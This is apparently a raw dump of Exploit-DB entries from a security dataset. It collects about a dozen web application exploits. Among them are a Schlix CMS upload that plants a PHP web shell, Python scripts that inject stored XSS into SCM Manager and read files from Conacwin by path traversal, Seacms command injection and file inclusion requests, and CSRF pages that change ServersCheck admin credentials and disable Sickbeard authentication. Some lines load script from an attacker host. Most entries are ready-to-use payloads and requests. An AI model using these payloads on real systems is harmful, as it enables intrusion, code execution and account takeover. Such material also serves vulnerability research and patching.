deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49897
Description: Schlix CMS 2.2.6-6 - Arbitary File Upload (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-05-24
Author: Emir Polat

Exploit:
# Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)
# Date: 21.05.2021
# Exploit Author: Emir Polat
# Vendor Homepage: https://www.schlix.com/
# Software Link: https://www.schlix.com/html/schlix-cms-downloads.html
# Version: 2.2.6-6
# Tested On: Ubuntu 20.04 (Firefox)

############################################################################################################

Summary: An authorized user can upload a file with a .phar extension
to a path of his choice and control the content as he wishes. This causes RCE vulnerability.

For full technical details and source code analysis:
https://anatolias.medium.com/schlix-cms-v2-2-6-6-c17c5b2f29e.

############################################################################################################

PoC:

1-) Login to admin panel with true credentials and go to "Tools ->
Mediamanager" menu from left side.

2-)  Click the "Upload File" and upload a file and catch the request with Burp.

3-) Change the "uploadstartpath", "filename" and file content as follows.

# Request

POST /schlix/admin/app/core.mediamanager?&ajax=1&action=upload HTTP/1.1
Host: vulnerable-server
Content-Length: 846
X-Schlix-Ajax: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarybllOFLruz1WAs7K2
Accept: */*
Origin: http:// <http://10.211.55.4/>vulnerable-server
Referer: http://vulnerable-server/schlix/admin/app/core.mediamanager
<http://10.211.55.4/schlix/admin/app/core.mediamanager>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: core-mediamanager_currentCategory=%2Fmedia%2Fpdf;
schlix-your-cookie;__atuvc=5%7C20;
schlix_frontendedit_control_showblock=-2;
schlix_frontendedit_control_showhide=-2;
schlix_frontendedit_control_showdoc=-2
Connection: close

------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="_csrftoken"

{your_csrf_token}
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="uploadstartpath"

/media/docs/....//....//....//....//system/images/avatars/large/
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="filedata[]"; filename="shell.phar"

<?PHP system($_GET['rce']);?>

------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="filedata__total_file_size"

0
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="filedata__max_file_count"

20
------WebKitFormBoundarybllOFLruz1WAs7K2--


4-) Go to "vulnerable-server/schlix/system/images/avatars/large/shell.phar?rce=ls".
Exploit-DB #51488
Description: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
Type: webapps
Platform: multiple
Date: 2023-05-25
Author: neg0x

Exploit:
#!/usr/bin/python3

# Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
# Google Dork: intitle:"SCM Manager" intext:1.60
# Date: 05-25-2023
# Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829)
# Vendor Homepage: https://scm-manager.org/
# Software Link: https://scm-manager.org/docs/1.x/en/getting-started/
# Version: 1.2 <= 1.60
# Tested on: Debian based
# CVE: CVE-2023-33829

# Modules
import requests
import argparse
import sys

# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()


# Credentials
user = sys.argv[2]
password = sys.argv[4]


# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

# Create a session
session = requests.Session()

# Credentials to send
post_data={
	'username': user, # change if you have any other user with write permissions
	'password': password # change if you have any other user with write permissions
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
	print("[+] Authentication successfully")
else:
	print("[-] Failed to authenticate")
	sys.exit(1)

new_user={

	"name": "newUser",
	"displayName": "<img src=x onerror=alert('XSS')>",
	"mail": "",
	"password": "",
	"admin": False,
	"active": True,
	"type": "xml"

}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group={

	"name": "newGroup",
	"description": "<img src=x onerror=alert('XSS')>",
	"type": "xml"

}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo={

	"name": "newRepo",
	"type": "svn",
	"contact": "",
	"description": "<img src=x onerror=alert('XSS')>",
	"public": False

}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")
Exploit-DB #50079
Description: Scratch Desktop 3.17 - Remote Code Execution
Type: webapps
Platform: multiple
Date: 2021-07-02
Author: Stig Magnus Baugstø

Exploit:
# Exploit Title: Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE)
# Google Dork: 'inurl:"/projects/editor/?tutorial=getStarted" -mit.edu' (not foolproof on versioning)
# Date: 2021-06-18
# Exploit Author: Stig Magnus Baugstø
# Vendor Homepage: https://scratch.mit.edu/
# Software Link: https://web.archive.org/web/[PII_REDACTED]1334/https://downloads.scratch.mit.edu/desktop/Scratch%20Desktop%20Setup%203.10.2.exe
# Version: 3.10.2
# Tested on: Windows 10 x64, but should be platform independent.
# CVE: CVE-2020-7750

Scratch cross-site scripting (XSS) & Scratch Desktop remote code execution (XSS/RCE) <3.17.1 / scratch-svg-renderer <0.2.0-prerelease[PII_REDACTED]4008

CVE-2020-7750 was disclosed on Scratch's official forums on 21th of October 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability in Scratch and Scratch Desktop prior to 3.17.1: https://scratch.mit.edu/discuss/topic/449794/

You can exploit the vulnerability by uploading a SVG (*.svg) file WITHOUT the viewBox attribute and embedding a malicious event handler. Example:

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="<INSERT JS PAYLOAD>" />
	</svg>

The malicious SVG can be uploaded as a sprite or stored within a Scratch project file (*.sb3), which is a regular ZIP archive by the way.

Example of regular cross-site scripting (XSS):

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="alert('Pwned!')" />
	</svg>

The Scratch Desktop versions runs on Electron where the exploit can be used for remote code execution (RCE):

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="require('electron').shell.openExternal('cmd.exe')" />
	</svg>

The example above launches cmd.exe (Command Prompt) on Windows.

For a full walkthrough and explanation of the exploit, please see the following blog post by the exploit's author: https://www.mnemonic.no/blog/exploiting-scratch-with-a-malicious-image/

Note that the author of this exploit does not take credit for finding the vulnerability. The vulnerability was disclosed by user apple502j on Scratch's official forums.
Exploit-DB #49251
Description: Seacms 11.1 - 'checkuser' Stored XSS
Type: webapps
Platform: multiple
Date: 2020-12-14
Author: j5s

Exploit:
# Exploit Title: Seacms 11.1 - 'checkuser' Stored XSS
# Date: 20201212
# Exploit Author: j5s
# Vendor Homepage: https://www.seacms.net/
# Software Link: https://www.seacms.net/
# Version: 11.1

POST /SEACMS111/5f9js3/admin_safe.php?action=setting HTTP/1.1
Host: 192.168.137.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)
Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://192.168.137.139
Connection: close
Referer: http://192.168.137.139/SEACMS111/5f9js3/admin_safe.php?action=setting
Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=[PII_REDACTED];
PHPSESSID=t1gc019b35rrgmr1dg53gfje96;
t00ls=e54285de394c4207cd521213cebab040;
t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MDoiIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Upgrade-Insecure-Requests: 1

checkuser=%22%3E%3CsCrIpT%3Ealert%281%29%3C%2FsCrIpT%3E&checkhta=on&btnsetting=%E6%8F%90%E4%BA%A4

Vulnerable parameters： checkuser

payload："><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #49250
Description: Seacms 11.1 - 'file' Local File Inclusion
Type: webapps
Platform: multiple
Date: 2020-12-14
Author: j5s

Exploit:
# Exploit Title: Seacms 11.1 - 'file' Local File Inclusion
# Date: 20201212
# Exploit Author: j5s
# Vendor Homepage: https://www.seacms.net/
# Software Link: https://www.seacms.net/
# Version: 11.1

GET /SEACMS111/5f9js3/admin_safe.php?action=download&file=C:/windows/system.ini HTTP/1.1
Host: 192.168.137.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.139/SEACMS111/5f9js3/admin_safe.php?action=scan
Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=[PII_REDACTED];
PHPSESSID=t1gc019b35rrgmr1dg53gfje96;
t00ls=e54285de394c4207cd521213cebab040;
t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MzoicGhwIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Upgrade-Insecure-Requests: 1

Vulnerable parameters： file

payload：C:/windows/system.ini
Exploit-DB #49249
Description: Seacms 11.1 - 'ip and weburl' Remote Command Execution
Type: webapps
Platform: multiple
Date: 2020-12-14
Author: j5s

Exploit:
# Exploit Title: Seacms 11.1 - 'ip and weburl' Remote Command Execution
# Date: 20201212
# Exploit Author: j5s
# Vendor Homepage: https://www.seacms.net/
# Software Link: https://www.seacms.net/
# Version: 11.1

POST /SeaCMS111/5f9js3/admin_ip.php?action=set HTTP/1.1
Host: 192.168.137.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://192.168.137.139
Connection: close
Referer: http://192.168.137.139/SeaCMS111/5f9js3/admin_ip.php
Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=[PII_REDACTED];
PHPSESSID=t1gc019b35rrgmr1dg53gfje96;
t00ls=e54285de394c4207cd521213cebab040;
t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MzoicGhwIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Upgrade-Insecure-Requests: 1

v=0&ip=+%22%3Bphpinfo%28%29%3B%2F%2F

Vulnerable parameters：ip

payload：";phpinfo();//
Exploit-DB #34000
Description: Serialsystem 1.0.4 Beta - 'list' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40236/info

Serialsystem is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Serialsystem 1.0.4 BETA is vulnerable; other versions may also be affected. 

http://www.example.com/Serials/upload/?list=<img+src=http://www.example.com/New.bmp+onload=alert[PII_REDACTED]60)>
Exploit-DB #21866
Description: ServersCheck Monitoring Software 9.0.12/9.0.14 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2012-10-10
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: ServersCheck Monitoring Software
# Version: 9.0.12 - 9.0.14 (some versions of 9.0.15)
# Vendor Site: http://www.serverscheck.com
# Software Download: http://www.serverscheck.com/monitoring_software/download.asp
# Note: Older Appliances may be affected.

# Discovered: August 18th 2012
# Disclosure: 
# August 18th 2012: Reported to CERT
# September 5th 2012: Tentative disclosure date October 10th 2012
# September 5th 2012: Vendor requesting information/procedure on how to reproduce
# September 5th 2012: Sent vendor procedures
# September 5th 2012: Vendor says newer version not affected
# September 5th 2012: Tested new version, conclusion still affected
# September 5th 2012: Newer s-server.exe file supplied/tested version is patched.
# September 6th 2012: 9.0.15 download version is now patched.
# October 10th 2012: Public release


# Software Description:
# The core of our Monitoring Solution is the award winning ServersCheck Monitoring Software. 
# This software enables you to monitor any networked device for its availability 
# and performance. It is agentless: no need to have agents installed on the remote 
# systems being monitored. It can run on your own Windows system or you can 
# get it as a box: the ServersCheck Monitoring Appliance. 

# Vulnerabilities:
# The file responsible the vulnerability is called "s-server.exe".
# From the 3 versions tested the file's version does not change, so looking at the 
# MD5 hash can help us determine if an installation is using vulnerable file.
# One can only assume that 9.0.13 is vulnerable.
# Versions 9.0.12 & 9.0.14 & 9.0.15 (vulnerable): 
# s-server.exe HASH: MD5 (s-server.exe) = af38d77e0b150d96f68cba4c3e65f316
# Version 9.0.15 (patched):
# s-server.exe HASH: MD5 (s-server.exe) = 3e01ff7201df4eb1c0091784a40f3055

# PoC:
# Store XSS & Cross Site Request Forgery
# The XSS is triggered by configuring a snmpd.conf file to point to an attacker-controlled
# JavaScript file. 
# ..
# syslocation <script src="http://attacker/xss.js"></script>
# syscontact <iframe src="http://attacker/scheck-csrf.html"></iframe>

# CSRF PoC:
# We can also use the previous XSS to trigger this. Makes for a funny.
# Change Admin credentials
# File scheck-csrf.html
<html>
 <body onload="trigger()">
 <script>
        function trigger() {
                document.getElementById('bad_form').submit();
        }
 </script>
 <form id="bad_form" method="post" action="http://target:1272/settings2.html">
  <input name="systemsetting" value="secure" type="hidden">
  <input name="setting" value="SECURE" type="hidden">
  <input value="ok" name="changedsettings" type="hidden">
  <input name="systemsetting" value="SECURE" type="hidden">
  <input name="XYXadminuser" size="30" value="loneferret" type="hidden"><br>
  <input name="adminpass" size="30" value="123456" type="hidden"><br>
 </form>
 </body>
</html>
Exploit-DB #49133
Description: Setelsa Conacwin 3.7.1.2 - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2020-12-01
Author: Bryan Rodriguez Martin

Exploit:
# Exploit Title: Setelsa Conacwin 3.7.1.2 - Local File Inclusion
# Date: 02/09/20
# Exploit Author: Bryan Rodriguez Martin AKA tr3mb0
# Vendor Homepage: http://setelsa-security.es/productos/control-de-acceso/
# Version: 3.7.1.2
# Tested on: Windows
# FIX: The recommendation from the vendor is to update to the last version.

import requests
import urllib.parse
import colorama

from colorama import Fore, Style

ENDPOINT = "http://10.4.8.11:8081/"

while True:
    cmd = input(Fore.RED + "[*] FILE >> ")
    print(Style.RESET_ALL)

    #cmd = urllib.parse.quote(cmd)
    ENDPOINT2 = ENDPOINT + "..%2F..%2F"  + cmd

    print("[*] Target >> " + ENDPOINT2)
    print(" ")
    r = requests.get(url = ENDPOINT2)

    extract = r.text
    print(extract)
Exploit-DB #51150
Description: Shoplazza 1.1 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2023-03-30
Author: Andrey Stoykov

Exploit:
# Exploit Title: Shoplazza 1.1 - Stored Cross-Site Scripting (XSS) 
# Exploit Author: Andrey Stoykov
# Software Link: https://github.com/Shoplazza/LifeStyle
# Version: 1.1
# Tested on: Ubuntu 20.04


Stored XSS #1:

To reproduce do the following:

1. Login as normal user account
2. Browse "Blog Posts" -> "Manage Blogs" -> "Add Blog Post"
3. Select "Title" and enter payload "><script>alert(1)</script>


// HTTP POST request showing XSS payload

PATCH /admin/api/admin/articles/2dc688b1-ac9e-46d7-8e56-57ded1d45bf5 HTTP/1=
.1
Host: test1205.myshoplaza.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
101 Firefox/100.0
[...]

{"article":{"id":"2dc688b1-ac9e-46d7-8e56-57ded1d45bf5","title":"Title\"><s=
cript>alert(1)</script>","excerpt":"Excerpt\"><script>alert(2)</script>","c=
ontent":"<p>\"><script>alert(3)</script></p>"[...]


// HTTP response showing unsanitized XSS payload

HTTP/1.1 200 OK
Content-Type: application/json; charset=3Dutf-8
[...]

{"article":{"title":"Title\"><script>alert(1)</script>","excerpt":"Excerpt\=
"><script>alert(2)</script>","published":true,"seo_title":"Title\"><script>=
alert(1)</script>"[...]


// HTTP GET request to trigger XSS payload

GET /blog/titlescriptalert1script?st=3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9=
.eyJleHAiOjE2NzAzMzE5MzYsInN0b3JlX2lkIjo1MTA0NTksInVzZXJfaWQiOiI4NGY4Nzk4ZC=
03ZGQ1LTRlZGMtYjk3Yy02MWUwODk5ZjM2MDgifQ.9ybPJCtv6Lzf1BlDy-ipoGpXajtl75QdUK=
Enfj9L49I HTTP/1.1
Host: test1205.myshoplaza.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
101 Firefox/100.0
[...]


// HTTP response showing unsanitized XSS payload

HTTP/1.1 200 OK
Content-Type: text/html; charset=3DUTF-8
[...]

<meta name=3D"viewport" content=3D"width=3Ddevice-width,initial-scale=3D1,m=
inimum-scale=3D1,maximum-scale=3D1,user-scalable=3Dno,viewport-fit=3Dcover"=
>
<title>Title"><script>alert(1)</script></title>
<meta name=3D"keywords" content=3D"test1205">
[...]

--rehcsed-054bdeb7-e1dc-47b8-a8d3-67ca7da532d2--
Exploit-DB #48712
Description: Sickbeard 0.1 - Cross-Site Request Forgery (Disable Authentication)
Type: webapps
Platform: multiple
Date: 2020-07-26
Author: bdrake

Exploit:
# Exploit Title: Sickbeard 0.1 - Cross-Site Request Forgery (Disable Authentication)
# Google Dork: https://www.shodan.io/search?query=sickbeard
# Date: 2020-06-06
# Exploit Author: bdrake
# Vendor Homepage: https://sickbeard.com/
# Software Link: https://github.com/midgetspy/Sick-Beard
# Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121
# Tested on: Fedora 32
# CVE : NA

<html>
<body>
	<!-- 
		Clearing username and password disables authentication.
		Requires a server restart for changes to take effect.
	-->
	<form action="http://1ocalhost:8081/config/general/saveGeneral" method="POST">
		<input type="hidden" name="log_dir" value="Logs" />
	   	<input type="hidden" name="web_port" value="8081" />
   	    <input type="hidden" name="web_username" value="" />
		<input type="hidden" name="web_password" value="" />
		<input type="hidden" name="https_cert" value="server.crt" />
		<input type="hidden" name="https_key" value="server.key" />
		<input type="hidden" name="api_key" value="" />
    </form>
    <script>
		document.forms[0].submit();
    </script>
</body>
</html>
Exploit-DB #52199
Description: SilverStripe 5.3.8  - Stored Cross Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: James Nicoll

Exploit:
# Exploit Title: SilverStripe 5.3.8  - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 2025-01-15
# Exploit Author: James Nicoll
# Vendor Homepage: https://www.silverstripe.org/
# Software Link: https://www.silverstripe.org/download/
# Category: Web Application
# Version: 5.2.22
# Tested on: SilverStripe 5.2.22 - Ubuntu 24.04
# CVE : CVE-2024-47605

## Explanation:
When using the "insert media" functionality, the linked oEmbed JSON includes an HTML attribute which will replace the embed shortcode. The HTML is not sanitized before replacing the shortcode, allowing a script payload to be executed on both the CMS and the front-end of the website.

## Requirements
1. A Silverstripe CMS website.
2. Valid login credentials for a user with page edit rights.
3. An attacker server hosting malicious payload.

## On the attacker server:
1. Create an html file with oembded information:
```
<html>
  <head>
    <link rel="alternate" type="application/json+oembed" href="http://<attacker_server_ip>/oembed.json" title="Payload" />
  </head>
  <body>
    <img src="media.jpg">
  </body>
</html>
```
2. Create the json file with XSS payload:
```
{
    "title": "Title",
    "author_name": "author",
    "type": "video",
    "height": 113,
    "width": 200,
    "version": "1.0",
    "provider_name": "FakeSite",
    "thumbnail_height": 360,
    "thumbnail_width": 480,
    "thumbnail_url": "http://<attacker_server_ip>/media.jpg",
    "html":"<script>alert('hello world');</script>"
}
```
3. The media.jpg file can be any image.
4. Host these files on a publicly available website

## On the SilverStripe website:
1. Log into the admin portal with a user account that has page editor rights (or higher).
2. Select the page you wish to load the malicious content into.
3. Within the editor panel, select the "Insert Media via URL" button.
4. Enter the IP/Hostname of the attacker server.
5. Click Add Media, Insert Media, and then save and publish the page.
Exploit-DB #50073
Description: Simple Traffic Offense System 1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-06-30
Author: Barış Yıldızoğlu

Exploit:
# Exploit Title: Simple Traffic Offense System 1.0 - 'Multiple' Stored Cross Site Scripting (XSS)
# Date: 30-06-2021
# Exploit Author: Barış Yıldızoğlu
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/trafic.zip
# Version: 1.0
# Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3

# Description: Almost all inputs contain Stored XSS on the website

Request:

POST /Trafic/save-reported.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/Trafic/report-offence.php
Cookie: PHPSESSID=vbsq5n2m09etst1mfcmq84gifo
Upgrade-Insecure-Requests: 1

offence_id={Payload here}&vehicle_no={Payload here}&driver_license={Payload
here}&name={Payload here}&address={Payload here}&gender={Payload
here}&officer_reporting={Payload here}&offence={Payload here}


# Steps to Reproduce:
[1.] Login to the system [+] username=Torrahclef&pass=yemiyemi
[2.] Go to the Report Offense page
[3.] Send the request above with the Stored XSS payload
[4.] Dashboard and Offense list pages will be triggered